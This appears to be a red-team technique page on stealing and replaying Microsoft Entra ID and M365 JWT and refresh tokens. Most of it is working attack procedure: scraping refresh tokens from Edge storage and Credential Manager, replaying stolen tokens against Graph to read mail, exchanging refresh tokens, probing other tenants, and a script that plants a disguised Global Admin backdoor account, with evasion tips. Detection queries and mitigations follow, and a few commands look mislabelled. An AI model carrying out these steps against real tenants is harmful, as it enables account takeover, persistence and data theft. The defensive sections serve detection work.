| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-005 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | M365/Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All versions (M365, Entra ID, Azure) |
| Patched In | No patch available; mitigation through token binding required |
| Author | SERVTEP – Artur Pchelnikau |
JWT (JSON Web Token) manipulation attacks involve intercepting, forging, or modifying JSON Web Tokens to bypass authentication and authorization controls in SaaS and cloud environments. JWTs are cryptographic tokens that serve as proof of authentication and contain claims about the user’s identity and permissions. Attackers who gain access to a valid JWT (through credential theft, phishing, or token interception) can use it to impersonate users, escalate privileges, or move laterally across cloud services without needing the original credentials or MFA factors.
Attack Surface: JWT tokens issued by Entra ID (Microsoft identity platform), OAuth 2.0 authorization servers, and SAML token endpoints are the primary attack surface. Tokens can be stolen from browser memory, intercepted during transit, or obtained through device compromise.
Business Impact: Complete account takeover and cross-tenant compromise possible. An attacker with a valid JWT can access email, SharePoint, OneDrive, Teams, and other M365 services. If the token is scoped with administrative permissions, the attacker can create backdoors, reset passwords, modify policies, or exfiltrate sensitive data at scale.
Technical Context: JWT attacks typically take seconds to minutes to execute after token acquisition. Detection is moderate to low depending on logging configuration. The most common indicators include unusual token usage patterns (different geographic regions, impossible travel, unusual scopes), token replay, and cross-service API calls without user interaction.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1 | Ensure Multi-Factor Authentication (MFA) is enforced for all users with administrative access |
| DISA STIG | AC-3 | Enforce token binding and limit token lifetime to 1 hour or less |
| CISA SCuBA | App Security - Token Binding | Require token binding and implement token validation |
| NIST 800-53 | AC-3, AT-2, SC-7 | Access Enforcement; User Security Awareness Training; Boundary Protection |
| GDPR | Art. 32 | Security of Processing - implement cryptographic binding and monitoring |
| DORA | Art. 9 | Protection and Prevention - APIs must validate token signatures and scope |
| NIS2 | Art. 21 | Cyber Risk Management - cryptographic binding of tokens to devices |
| ISO 27001 | A.9.2.3, A.13.1.1 | Management of Privileged Access Rights; Authentication Controls |
| ISO 27005 | Risk Scenario | Compromise of authentication tokens or credentials |
Supported Versions:
Tools:
Objective: Determine where JWT tokens are stored in the target environment and how they are transmitted.
Method 1: Browser Developer Tools
Open your browser’s Developer Tools (F12):
Authorization: Bearer headereyJhbGciOiJSUzI1NiIsImtpZCI6...What to Look For:
Authorization header (standard OAuth 2.0)https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/tokenExpected Output:
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy5taWNyb3NvZnQuY29tL3sVlU2FzcC9mZDA2YmQ0Ny1hZmE2LTQwNDgtOTM2MS1hNjE1ZDMwMGQwMzEvIiwiaWF0IjoxNjM0NzU2MjAwLCJuYmYiOjE2MzQ3NTYyMDAsImV4cCI6MTYzNDc1OTgwMH0...
Step 2: Extract and Decode JWT Token
Objective: Extract the JWT token and decode its payload to understand its structure and claims.
Method 1: Using jwt.io
Expected Payload Structure:
{
"aud": "https://graph.microsoft.com",
"iss": "https://sts.microsoft.com/{tenant-id}/",
"iat": 1634756200,
"nbf": 1634756200,
"exp": 1634759800,
"aio": "AVQBq/8TAAAARVBqbVrU2JgB2H1L8W1x2H...",
"appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
"appidacr": "0",
"idp": "https://sts.microsoft.com/{tenant-id}/",
"oid": "1234567890-abcdef",
"rh": "0.AVcA4-1-_xxxxxxxxx",
"scp": "User.Read Calendars.Read Mail.Read Mail.Send",
"sub": "1234567890-abcdef",
"tid": "tenant-id-here",
"unique_name": "user@contoso.onmicrosoft.com",
"uti": "abcdefghijklmnop",
"ver": "1.0"
}
Key Claims to Understand:
Step 3: Identify Token Refresh Endpoints
Objective: Find the token refresh endpoint to understand how new tokens are issued.
Command (PowerShell):
# Check if refresh token is available in browser cache
Get-Item -Path "HKCU:\Software\Microsoft\AuthenticationsCredentials\*" -ErrorAction SilentlyContinue | Get-ItemProperty
# Alternatively, check Local Storage for Entra ID tokens (requires browser automation or manual inspection)
Expected Output:
Supported Versions: All M365 and Entra ID versions
Objective: Capture a valid JWT token from a user’s browser session.
Prerequisites:
Method A: Using Burp Suite
login.microsoftonline.com or graph.microsoft.comAuthorization: Bearer headerExample Captured Request:
POST /oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
grant_type=refresh_token&refresh_token=0.AvAAO-Z...&client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&scope=https://graph.microsoft.com/.default
OpSec & Evasion:
Detection Likelihood: Low (network-level interception) to High (if endpoint monitoring is enabled)
Troubleshooting:
Objective: Use the stolen JWT token to authenticate API requests and access M365 resources.
Version Note: Same approach works for all M365 and Entra ID versions
Method A: Using curl with Microsoft Graph API
#!/bin/bash
# Variables
JWT_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEiLCJ0eXAiOiJKV1QifQ..."
GRAPH_ENDPOINT="https://graph.microsoft.com/v1.0"
# Make API request to list user's email
curl -X GET "$GRAPH_ENDPOINT/me/messages" \
-H "Authorization: Bearer $JWT_TOKEN" \
-H "Content-Type: application/json" \
-v
Expected Output (Success):
{
"value": [
{
"id": "AAMkADU2MGZjNDU3LTg2ZmYtNDAxYy04ZTEwLWUyY2U5Yzc4ZmI3MQBGAAAAAAChM4...",
"subject": "Meeting Tomorrow at 2PM",
"from": {
"emailAddress": {
"address": "boss@contoso.com",
"name": "Your Manager"
}
},
"bodyPreview": "Hi, just confirming our meeting tomorrow..."
}
]
}
What This Means:
Mail.ReadMail.Send scope, you can also send emails on behalf of the userMethod B: Using PowerShell TokenTactics
# Install TokenTactics (if not already installed)
# git clone https://github.com/rvrsh3ll/TokenTactics.git
# cd TokenTactics
# Import the module
Import-Module .\TokenTactics.psd1
# Use stolen refresh token to get new access tokens
Invoke-RefreshToGraphToken -domain victim-org.com -refreshToken $RefreshToken
# Or use stolen access token directly
$AccessToken = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEiLCJ0eXAiOiJKV1QifQ..."
# Make Graph API call
$Headers = @{"Authorization" = "Bearer $AccessToken"}
$Uri = "https://graph.microsoft.com/v1.0/me/messages"
$Response = Invoke-RestMethod -Uri $Uri -Headers $Headers -Method Get
$Response.value | Select-Object subject, from
Expected Output:
subject from
------- ----
Meeting Tomorrow at 2PM @{emailAddress=@{address=boss@contoso.com; name=Your Manager}}
Project Status Update @{emailAddress=@{address=colleague@contoso.com; name=Colleague Name}}
OpSec & Evasion:
graph.windows.net) instead of MS Graph for stealthDetection Likelihood: Medium (if Graph API logging is enabled and monitored)
Objective: Use token to create a backdoor account or escalate privileges.
Version Note: This requires the token to have Directory.Admin permissions (typically Global Admin)
Command (PowerShell):
# Create a new user account with Global Admin role (requires Directory.Admin scope)
$Headers = @{"Authorization" = "Bearer $AccessToken"}
# Step 1: Create new user
$UserBody = @{
"accountEnabled" = $true
"displayName" = "IT Support - Backup"
"mailNickname" = "itsupport.backup"
"userPrincipalName" = "itsupport.backup@contoso.com"
"passwordProfile" = @{
"forceChangePasswordNextSignIn" = $false
"password" = "X#K@$L9*v2pQ&wR4!"
}
} | ConvertTo-Json
$CreateUserUri = "https://graph.microsoft.com/v1.0/users"
$NewUser = Invoke-RestMethod -Uri $CreateUserUri -Headers $Headers -Method Post -Body $UserBody -ContentType "application/json"
$NewUserId = $NewUser.id
# Step 2: Add to Global Admin role
$RoleBody = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$NewUserId"
} | ConvertTo-Json
$AddToRoleUri = "https://graph.microsoft.com/v1.0/directoryRoles/roleDefinitions/62e90394-69f5-4237-9190-012177145e10/members/`$ref"
Invoke-RestMethod -Uri $AddToRoleUri -Headers $Headers -Method Post -Body $RoleBody -ContentType "application/json"
Write-Host "Created Global Admin backdoor account: itsupport.backup@contoso.com"
Expected Output:
Created Global Admin backdoor account: itsupport.backup@contoso.com
What This Means:
Supported Versions: All M365 and Entra ID versions
Objective: Extract or steal a refresh token from the victim’s environment.
Method A: From Browser Storage (Windows)
Refresh tokens are often stored in Windows Credential Manager or browser local storage.
Command (PowerShell):
# Check Windows Credential Manager for stored tokens
cmdkey /list
# Extract credential (if visible)
$cred = Get-StoredCredential -Target "MicrosoftAccount:user@contoso.com"
$cred.Password
Method B: From Browser Local Storage
# For Chromium-based browsers, check Local Storage
$LocalStoragePath = "$env:APPDATA\Microsoft\Edge\User Data\Default\Local Storage\leveldb"
Get-ChildItem -Path $LocalStoragePath -Filter "*.ldb" | ForEach-Object {
Select-String -Pattern "refresh_token" -Path $_.FullName -Raw | Write-Host
}
Expected Output:
refresh_token:eyJhbGciOiJSUzI1NiIsImtpZCI6Imdzc0xxxxxxxxxxxxxxx...
Objective: Use the refresh token to obtain a new access token.
Command (PowerShell):
# Variables
$TenantId = "12345678-1234-1234-1234-123456789012"
$RefreshToken = "0.AvAAO-Z..."
$ClientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Microsoft Graph default client ID
# Exchange refresh token for new access token
$TokenUri = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"
$TokenBody = @{
grant_type = "refresh_token"
refresh_token = $RefreshToken
client_id = $ClientId
scope = "https://graph.microsoft.com/.default"
}
$Response = Invoke-RestMethod -Uri $TokenUri -Method Post -Body $TokenBody
$NewAccessToken = $Response.access_token
$NewRefreshToken = $Response.refresh_token
Write-Host "New Access Token: $NewAccessToken"
Write-Host "New Refresh Token: $NewRefreshToken"
Expected Output:
New Access Token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEi...
New Refresh Token: 0.AvAAO-Z2.xxxxxxxxxxxxxxxxxx...
What This Means:
OpSec & Evasion:
Supported Versions: All M365 and Entra ID versions (affects cross-tenant scenarios)
Objective: Identify and exploit tokens that can be used across multiple tenants.
Version Note: Some Microsoft services issue tokens that are not strictly tenant-bound, allowing cross-tenant access
Command (PowerShell):
# Decode JWT to identify tenant scope
function Decode-JWT {
param($token)
# Remove "Bearer " prefix if present
$token = $token -replace "^Bearer ", ""
# Split JWT into parts
$parts = $token.Split('.')
# Decode header
$header = [System.Convert]::FromBase64String(($parts[0] + "==").Replace('-', '+').Replace('_', '/'))
$headerJson = [System.Text.Encoding]::UTF8.GetString($header)
# Decode payload
$payload = [System.Convert]::FromBase64String(($parts[1] + "==").Replace('-', '+').Replace('_', '/'))
$payloadJson = [System.Text.Encoding]::UTF8.GetString($payload)
return @{
header = $headerJson | ConvertFrom-Json
payload = $payloadJson | ConvertFrom-Json
}
}
# Analyze token
$DecodedToken = Decode-JWT -token $AccessToken
$DecodedToken.payload | Select-Object tid, aud, scp
Expected Output:
tid aud scp
--- --- ---
https://graph.microsoft.com User.Read Calendars.Read
Analyzing Cross-Tenant Tokens:
tid (tenant ID) is missing or generalized, the token may be valid across tenantsaud includes multiple resources, the token has broader scopeObjective: Use the token to access resources in different tenant than the token’s origin.
Command (Bash with curl):
#!/bin/bash
# Extract token and attempt cross-tenant access
ACCESS_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjFj..."
# Attempt to list users (cross-tenant)
for TENANT_ID in "tenant1-id" "tenant2-id" "tenant3-id"; do
echo "Attempting access to tenant: $TENANT_ID"
curl -s -X GET "https://graph.microsoft.com/v1.0/tenantRelationships/managedTenants/tenants" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "X-Tenant-ID: $TENANT_ID" \
-w "\nHTTP Status: %{http_code}\n"
done
Expected Output (If Vulnerable):
HTTP Status: 200
{
"value": [
{
"id": "12345678-1234-1234-1234-123456789012",
"displayName": "Target Tenant",
...
}
]
}
OpSec & Evasion:
Token-Related IOCs:
/.default scope on non-privileged applications)API Activity IOCs:
/directoryRoles/roleDefinitions) from unexpected locationsForensic Artifacts
Cloud Artifacts:
Example Forensic Query (KQL):
SigninLogs
| where AuthenticationDetails has "token"
| where ClientAppUsed == "Browser" and InteractiveSignInCount == 0
| where GeoLocation != "United States" // Adjust to your organization
| project TimeGenerated, UserPrincipalName, ClientAppUsed, GeoLocation, CorrelationId
Implement Token Binding: Cryptographically bind tokens to devices using Azure AD token protection. This prevents tokens stolen from one device from being used on another device.
Manual Steps (Azure Portal):
Token Protection PolicyAlternative: Using PowerShell (Entra ID Premium P1+):
# Enable token protection in Conditional Access
Connect-MgGraph -Scopes "Policy.Read.All", "Policy.ReadWrite.ConditionalAccess"
$policy = @{
displayName = "Token Protection Policy"
state = "enabledForReportingButNotEnforced"
conditions = @{
clientAppTypes = @("modern", "legacy")
}
grantControls = @{
operator = "AND"
builtInControls = @("deviceCompliance", "approvedClientApp")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
Enforce Multi-Factor Authentication (MFA): Require MFA for all users, especially administrators. This prevents token theft from being the only attack vector.
Manual Steps:
Limit Token Lifetime: Set access token lifetime to 1 hour or less. Reduce refresh token lifetime to 14 days.
Manual Steps:
PowerShell:
Set-MgServicePrincipal -Id $ServicePrincipalId `
-TokenEncryptionKeyId $KeyId
Monitor Token Usage: Log all token exchanges and usage via Azure AD Identity Protection and Microsoft Sentinel.
KQL Detection Rule:
AADServicePrincipalSignInLogs
| where RiskLevel == "medium" or RiskLevel == "high"
| where TokenIssuerType == "ADFSIndirect" or TokenIssuerType == "AzureAD"
| project TimeGenerated, AppDisplayName, UserId, RiskLevel, RiskDetail
Disable Legacy Authentication: Disable Basic Authentication and legacy protocols (IMAP, SMTP, POP3) that don’t support modern token-based authentication.
Manual Steps:
Review Active Sessions: Regularly review and revoke active sessions from Entra ID portal.
Manual Steps:
Principle of Least Privilege: Assign minimal scopes and permissions to tokens. Use resource-specific consent instead of broad .default scope.
Example - Limiting OAuth Scopes:
// Instead of:
scope: "https://graph.microsoft.com/.default"
// Use specific scopes:
scope: "https://graph.microsoft.com/User.Read https://graph.microsoft.com/Mail.Read"
Service Principal Restrictions: Limit service principal access to specific resources using conditional access policies.
Manual Steps:
# Verify token binding is enabled
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Token Protection Policy'" | Select-Object DisplayName, State
# Verify token lifetime is configured
Get-MgApplication -Filter "displayName eq 'YourAppName'" | Select-Object DisplayName, `
@{Label="TokenLifetime"; Expression={ $_.TokenIssuancePolicy }}
# Verify MFA is required for users
Get-MgUser -Filter "userType eq 'Member'" | Select-Object UserPrincipalName, `
@{Label="MFARequired"; Expression={ $_.StrongAuthenticationRequirements }}
Expected Output (If Secure):
DisplayName State
----------- -----
Token Protection Policy enabledForReportingButNotEnforced
UserPrincipalName MFARequired
----------------- -----------
user@contoso.com True
admin@contoso.com True
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into authorizing device code, obtaining refresh token |
| 2 | Credential Access | [CA-TOKEN-005] OAuth Access Token Interception | Token stolen from browser or network traffic |
| 3 | Lateral Movement | [SAAS-API-005] | JWT token used to access multiple M365 services |
| 4 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | New admin account created using token access |
| 5 | Persistence | [PERSIST-CLOUD-002] OAuth Application Persistence | Malicious app registered with delegated permissions |
| 6 | Exfiltration | [COLL-CLOUD-001] Cloud Data Exfiltration | Emails, SharePoint files, Teams messages stolen via Graph API |